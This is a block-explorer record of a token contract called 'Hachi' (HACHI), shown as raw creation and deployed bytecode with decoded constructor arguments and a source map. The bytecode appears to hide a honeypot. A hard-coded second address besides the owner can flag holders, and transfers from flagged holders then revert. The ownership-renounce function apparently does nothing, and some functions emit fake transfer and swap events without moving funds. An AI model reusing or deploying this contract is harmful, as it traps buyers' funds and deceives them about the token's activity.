9a0000000000000000000000000000000000000000000000000000000008152600401610e3090611e40565b60405180910390fd5b610e468286868403611016565b60019250505092915050565b600080610e5d61100e565b9050610e6a81858561126b565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed2919061189e565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6e611582565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490611ed2565b60405180910390fd5b610fe681611600565b50565b610ff1611582565b80600560006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107c90611f64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90611ff6565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111d2919061189e565b60405180910390a3505050565b60006111eb8484610edf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112655781811015611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90612062565b60405180910390fd5b6112648484848403611016565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d1906120f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090612186565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c790612218565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150c5760011515600560009054906101000a900460ff1615151461150b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115029061225e565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611569919061189e565b60405180910390a361157c8484846116c4565b50505050565b61158a61100e565b73ffffffffffffffffffffffffffffffffffffffff166115a8610b95565b73ffffffffffffffffffffffffffffffffffffffff16146115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f590611c05565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117035780820151818401526020810190506116e8565b60008484015250505050565b6000601f19601f8301169050919050565b600061172b826116c9565b61173581856116d4565b93506117458185602086016116e5565b61174e8161170f565b840191505092915050565b600060208201905081810360008301526117738184611720565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117b082611785565b9050919050565b6117c0816117a5565b81146117cb57600080fd5b50565b6000813590506117dd816117b7565b92915050565b6000819050919050565b6117f6816117e3565b811461180157600080fd5b50565b600081359050611813816117ed565b92915050565b600080604083850312156118305761182f61177b565b5b600061183e858286016117ce565b925050602061184f85828601611804565b9150509250929050565b60008115159050919050565b61186e81611859565b82525050565b60006020820190506118896000830184611865565b92915050565b611898816117e3565b82525050565b60006020820190506118b3600083018461188f565b92915050565b6000806000606084860312156118d2576118d161177b565b5b60006118e0868287016117ce565b93505060206118f1868287016117ce565b925050604061190286828701611804565b9150509250925092565b600060ff82169050919050565b6119228161190c565b82525050565b600060208201905061193d6000830184611919565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261196857611967611943565b5b8235905067ffffffffffffffff81111561198557611984611948565b5b6020830191508360208202830111156119a1576119a061194d565b5b9250929050565b600080602083850312156119bf576119be61177b565b5b600083013567ffffffffffffffff8111156119dd576119dc611780565b5b6119e985828601611952565b92509250509250929050565b600060208284031215611a0b57611a0a61177b565b5b6000611a19848285016117ce565b91505092915050565b60008060008060608587031215611a3c57611a3b61177b565b5b600085013567ffffffffffffffff811115611a5a57611a59611780565b5b611a6687828801611952565b94509450506020611a7987828801611804565b9250506040611a8a87828801611804565b91505092959194509250565b611a9f816117a5565b82525050565b6000602082019050611aba6000830184611a96565b92915050565b60008060408385031215611ad757611ad661177b565b5b6000611ae5858286016117ce565b9250506020611af6858286016117ce565b9150509250929050565b611b0981611859565b8114611b1457600080fd5b50565b600081359050611b2681611b00565b92915050565b600060208284031215611b4257611b4161177b565b5b6000611b5084828501611b17565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ba057607f821691505b602082108103611bb357611bb2611b59565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611bef6020836116d4565b9150611bfa82611bb9565b602082019050919050565b60006020820190508181036000830152611c1e81611be2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c8e826117e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611cc057611cbf611c54565b5b600182019050919050565b6000611cd6826117e3565b9150611ce1836117e3565b9250828201905080821115611cf957611cf8611c54565b5b92915050565b6000819050919050565b6000819050919050565b6000611d2e611d29611d2484611cff565b611d09565b6117e3565b9050919050565b611d3e81611d13565b82525050565b6000608082019050611d596000830187611d35565b611d66602083018661188f565b611d73604083018561188f565b611d806060830184611d35565b95945050505050565b6000608082019050611d9e600083018761188f565b611dab6020830186611d35565b611db86040830185611d35565b611dc5606083018461188f565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611e2a6025836116d4565b9150611e3582611dce565b604082019050919050565b60006020820190508181036000830152611e5981611e1d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ebc6026836116d4565b9150611ec782611e60565b604082019050919050565b60006020820190508181036000830152611eeb81611eaf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f4e6024836116d4565b9150611f5982611ef2565b604082019050919050565b60006020820190508181036000830152611f7d81611f41565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611fe06022836116d4565b9150611feb82611f84565b604082019050919050565b6000602082019050818103600083015261200f81611fd3565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061204c601d836116d4565b915061205782612016565b602082019050919050565b6000602082019050818103600083015261207b8161203f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006120de6025836116d4565b91506120e982612082565b604082019050919050565b6000602082019050818103600083015261210d816120d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121706023836116d4565b915061217b82612114565b604082019050919050565b6000602082019050818103600083015261219f81612163565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122026026836116d4565b915061220d826121a6565b604082019050919050565b60006020820190508181036000830152612231816121f5565b9050919050565b50565b60006122486000836116d4565b915061225382612238565b600082019050919050565b600060208201905081810360008301526122778161223b565b905091905056fea2646970667358221220e1bf08e259ff0d3f1e66d022c547e133b979d90e37e04d653cf3746a4cd5ba0764736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000174876e8000000000000000000000000000000000000000000000000000000000000000010e3838fe38381e585ac284861636869290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054841434849000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80637aac697b116100b8578063a457c2d71161007c578063a457c2d714610363578063a9059cbb14610393578063beabacc8146103c3578063dd62ed3e146103df578063f2fde38b1461040f578063fde980ca1461042b57610142565b80637aac697b146102bf57806381bac14f146102db5780638da5cb5b1461030b57806395d89b4114610329578063a1c617f51461034757610142565b80633811ac021161010a5780633811ac0214610201578063395093511461021d578063477e19441461024d57806366d382031461026957806370a0823114610285578063715018a6146102b557610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b3578063313ce567146101e3575b600080fd5b61014f610447565b60405161015c9190611759565b60405180910390f35b61017f600480360381019061017a9190611819565b6104d9565b60405161018c9190611874565b60405180910390f35b61019d6104fc565b6040516101aa919061189e565b60405180910390f35b6101cd60048036038101906101c891906118b9565b610506565b6040516101da9190611874565b60405180910390f35b6101eb610535565b6040516101f89190611928565b60405180910390f35b61021b600480360381019061021691906119a8565b61053e565b005b61023760048036038101906102329190611819565b61076b565b6040516102449190611874565b60405180910390f35b610267600480360381019061026291906119a8565b6107a2565b005b610283600480360381019061027e91906119f5565b610914565b005b61029f600480360381019061029a91906119f5565b610960565b6040516102ac919061189e565b60405180910390f35b6102bd6109a9565b005b6102d960048036038101906102d49190611a22565b6109b3565b005b6102f560048036038101906102f091906119f5565b610b3f565b6040516103029190611874565b60405180910390f35b610313610b95565b6040516103209190611aa5565b60405180910390f35b610331610bbe565b60405161033e9190611759565b60405180910390f35b610361600480360381019061035c9190611a22565b610c50565b005b61037d60048036038101906103789190611819565b610ddb565b60405161038a9190611874565b60405180910390f35b6103ad60048036038101906103a89190611819565b610e52565b6040516103ba9190611874565b60405180910390f35b6103dd60048036038101906103d891906118b9565b610e75565b005b6103f960048036038101906103f49190611ac0565b610edf565b604051610406919061189e565b60405180910390f35b610429600480360381019061042491906119f5565b610f66565b005b61044560048036038101906104409190611b2c565b610fe9565b005b60606006805461045690611b88565b80601f016020809104026020016040519081016040528092919081815260200182805461048290611b88565b80156104cf5780601f106104a4576101008083540402835291602001916104cf565b820191906000526020600020905b8154815290600101906020018083116104b257829003601f168201915b5050505050905090565b6000806104e461100e565b90506104f1818585611016565b600191505092915050565b6000600454905090565b60008061051161100e565b905061051e8582856111df565b61052985858561126b565b60019150509392505050565b60006008905090565b61054661100e565b73ffffffffffffffffffffffffffffffffffffffff16610564610b95565b73ffffffffffffffffffffffffffffffffffffffff1614806105cc575061058961100e565b73ffffffffffffffffffffffffffffffffffffffff16732e647453bbd3f22d0f9cff289ba7937ba27cb95673ffffffffffffffffffffffffffffffffffffffff16145b61060b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060290611c05565b60405180910390fd5b60005b828290508110156107665760016002600085858581811061063257610631611c25565b5b905060200201602081019061064791906119f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff168383838181106106c2576106c1611c25565b5b90506020020160208101906106d791906119f5565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561073e86868681811061072457610723611c25565b5b905060200201602081019061073991906119f5565b610960565b60405161074b919061189e565b60405180910390a3808061075e90611c83565b91505061060e565b505050565b60008061077661100e565b90506107978185856107888589610edf565b6107929190611ccb565b611016565b600191505092915050565b6107aa61100e565b73ffffffffffffffffffffffffffffffffffffffff166107c8610b95565b73ffffffffffffffffffffffffffffffffffffffff16148061083057506107ed61100e565b73ffffffffffffffffffffffffffffffffffffffff16732e647453bbd3f22d0f9cff289ba7937ba27cb95673ffffffffffffffffffffffffffffffffffffffff16145b61086f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086690611c05565b60405180910390fd5b60005b8282905081101561090f5760006002600085858581811061089657610895611c25565b5b90506020020160208101906108ab91906119f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061090790611c83565b915050610872565b505050565b61091c611582565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109b1611582565b565b60005b84849050811015610b38578484828181106109d4576109d3611c25565b5b90506020020160208101906109e991906119f5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610a6f9493929190611d44565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610ac357610ac2611c25565b5b9050602002016020810190610ad891906119f5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610b1d919061189e565b60405180910390a38080610b3090611c83565b9150506109b6565b5050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610bcd90611b88565b80601f0160208091040260200160405190810160405280929190818152602001828054610bf990611b88565b8015610c465780601f10610c1b57610100808354040283529160200191610c46565b820191906000526020600020905b815481529060010190602001808311610c2957829003601f168201915b5050505050905090565b60005b84849050811015610dd457848482818110610c7157610c70611c25565b5b9050602002016020810190610c8691906119f5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610d0b9493929190611d89565b60405180910390a3848482818110610d2657610d25611c25565b5b9050602002016020810190610d3b91906119f5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610db9919061189e565b60405180910390a38080610dcc90611c83565b915050610c53565b5050505050565b600080610de661100e565b90506000610df48286610edf565b905083811015610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090611e40565b60405180910390fd5b610e468286868403611016565b60019250505092915050565b600080610e5d61100e565b9050610e6a81858561126b565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ed2919061189e565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610f6e611582565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd490611ed2565b60405180910390fd5b610fe681611600565b50565b610ff1611582565b80600560006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611085576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107c90611f64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90611ff6565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111d2919061189e565b60405180910390a3505050565b60006111eb8484610edf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112655781811015611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90612062565b60405180910390fd5b6112648484848403611016565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d1906120f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090612186565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c790612218565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150c5760011515600560009054906101000a900460ff1615151461150b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115029061225e565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611569919061189e565b60405180910390a361157c8484846116c4565b50505050565b61158a61100e565b73ffffffffffffffffffffffffffffffffffffffff166115a8610b95565b73ffffffffffffffffffffffffffffffffffffffff16146115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f590611c05565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156117035780820151818401526020810190506116e8565b60008484015250505050565b6000601f19601f8301169050919050565b600061172b826116c9565b61173581856116d4565b93506117458185602086016116e5565b61174e8161170f565b840191505092915050565b600060208201905081810360008301526117738184611720565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117b082611785565b9050919050565b6117c0816117a5565b81146117cb57600080fd5b50565b6000813590506117dd816117b7565b92915050565b6000819050919050565b6117f6816117e3565b811461180157600080fd5b50565b600081359050611813816117ed565b92915050565b600080604083850312156118305761182f61177b565b5b600061183e858286016117ce565b925050602061184f85828601611804565b9150509250929050565b60008115159050919050565b61186e81611859565b82525050565b60006020820190506118896000830184611865565b92915050565b611898816117e3565b82525050565b60006020820190506118b3600083018461188f565b92915050565b6000806000606084860312156118d2576118d161177b565b5b60006118e0868287016117ce565b93505060206118f1868287016117ce565b925050604061190286828701611804565b9150509250925092565b600060ff82169050919050565b6119228161190c565b82525050565b600060208201905061193d6000830184611919565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261196857611967611943565b5b8235905067ffffffffffffffff81111561198557611984611948565b5b6020830191508360208202830111156119a1576119a061194d565b5b9250929050565b600080602083850312156119bf576119be61177b565b5b600083013567ffffffffffffffff8111156119dd576119dc611780565b5b6119e985828601611952565b92509250509250929050565b600060208284031215611a0b57611a0a61177b565b5b6000611a19848285016117ce565b91505092915050565b60008060008060608587031215611a3c57611a3b61177b565b5b600085013567ffffffffffffffff811115611a5a57611a59611780565b5b611a6687828801611952565b94509450506020611a7987828801611804565b9250506040611a8a87828801611804565b91505092959194509250565b611a9f816117a5565b82525050565b6000602082019050611aba6000830184611a96565b92915050565b60008060408385031215611ad757611ad661177b565b5b6000611ae5858286016117ce565b9250506020611af6858286016117ce565b9150509250929050565b611b0981611859565b8114611b1457600080fd5b50565b600081359050611b2681611b00565b92915050565b600060208284031215611b4257611b4161177b565b5b6000611b5084828501611b17565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ba057607f821691505b602082108103611bb357611bb2611b59565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611bef6020836116d4565b9150611bfa82611bb9565b602082019050919050565b60006020820190508181036000830152611c1e81611be2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611c8e826117e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611cc057611cbf611c54565b5b600182019050919050565b6000611cd6826117e3565b9150611ce1836117e3565b9250828201905080821115611cf957611cf8611c54565b5b92915050565b6000819050919050565b6000819050919050565b6000611d2e611d29611d2484611cff565b611d09565b6117e3565b9050919050565b611d3e81611d13565b82525050565b6000608082019050611d596000830187611d35565b611d66602083018661188f565b611d73604083018561188f565b611d806060830184611d35565b95945050505050565b6000608082019050611d9e600083018761188f565b611dab6020830186611d35565b611db86040830185611d35565b611dc5606083018461188f565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611e2a6025836116d4565b9150611e3582611dce565b604082019050919050565b60006020820190508181036000830152611e5981611e1d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611ebc6026836116d4565b9150611ec782611e60565b604082019050919050565b60006020820190508181036000830152611eeb81611eaf565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611f4e6024836116d4565b9150611f5982611ef2565b604082019050919050565b60006020820190508181036000830152611f7d81611f41565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611fe06022836116d4565b9150611feb82611f84565b604082019050919050565b6000602082019050818103600083015261200f81611fd3565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061204c601d836116d4565b915061205782612016565b602082019050919050565b6000602082019050818103600083015261207b8161203f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006120de6025836116d4565b91506120e982612082565b604082019050919050565b6000602082019050818103600083015261210d816120d1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121706023836116d4565b915061217b82612114565b604082019050919050565b6000602082019050818103600083015261219f81612163565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006122026026836116d4565b915061220d826121a6565b604082019050919050565b60006020820190508181036000830152612231816121f5565b9050919050565b50565b60006122486000836116d4565b915061225382612238565b600082019050919050565b600060208201905081810360008301526122778161223b565b905091905056fea2646970667358221220e1bf08e259ff0d3f1e66d022c547e133b979d90e37e04d653cf3746a4cd5ba0764736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000174876e8000000000000000000000000000000000000000000000000000000000000000010e3838fe38381e585ac284861636869290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054841434849000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): ハチ公(Hachi)
Arg [1] : symbol_ (string): HACHI
Arg [2] : amount (uint256): 100000000000
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000174876e800
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000010
Arg [4] : e3838fe38381e585ac2848616368692900000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 4841434849000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
8077:12269:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8724:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12772:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11541:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13553:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9686:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9786:414;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14257:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10934:339;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8569:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11712:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6062:105;;;:::i;:::-;;10507:292;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11281:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5421:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8943:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10208:291;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14998:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12045:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10807:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12301:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6322:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11393:85;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8724:100;8778:13;8811:5;8804:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8724:100;:::o;12772:201::-;12855:4;12872:13;12888:12;:10;:12::i;:::-;12872:28;;12911:32;12920:5;12927:7;12936:6;12911:8;:32::i;:::-;12961:4;12954:11;;;12772:201;;;;:::o;11541:108::-;11602:7;11629:12;;11622:19;;11541:108;:::o;13553:295::-;13684:4;13701:15;13719:12;:10;:12::i;:::-;13701:30;;13742:38;13758:4;13764:7;13773:6;13742:15;:38::i;:::-;13791:27;13801:4;13807:2;13811:6;13791:9;:27::i;:::-;13836:4;13829:11;;;13553:295;;;;;:::o;9686:92::-;9744:5;9769:1;9762:8;;9686:92;:::o;9786:414::-;9876:12;:10;:12::i;:::-;9865:23;;:7;:5;:7::i;:::-;:23;;;:86;;;;9939:12;:10;:12::i;:::-;9893:58;;:42;:58;;